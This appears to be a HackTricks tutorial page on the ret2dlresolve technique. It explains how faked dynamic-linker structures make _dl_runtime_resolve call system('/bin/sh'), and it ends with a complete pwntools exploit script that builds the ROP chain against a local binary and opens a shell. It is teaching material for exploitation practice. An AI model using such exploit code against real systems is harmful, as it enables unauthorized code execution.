# Ret2dlresolve
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## Basic Information
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to resolve the specified symbol.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** with the address to `$'/bin/sh'`.
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This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv.md) or [SROP](srop-sigreturn-oriented-programming.md)) and there are't ways to leak libc addresses.
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You can find a better explanation about this technique in the second half of the video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Structures
It's necessary to fake 3 structures: **`JMPREL`**, **`STRTAB`** and **`SYMTAB`**. You have a better explanation about how these are built in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
## Example
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
```python
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
```
## References
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
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Support HackTricks
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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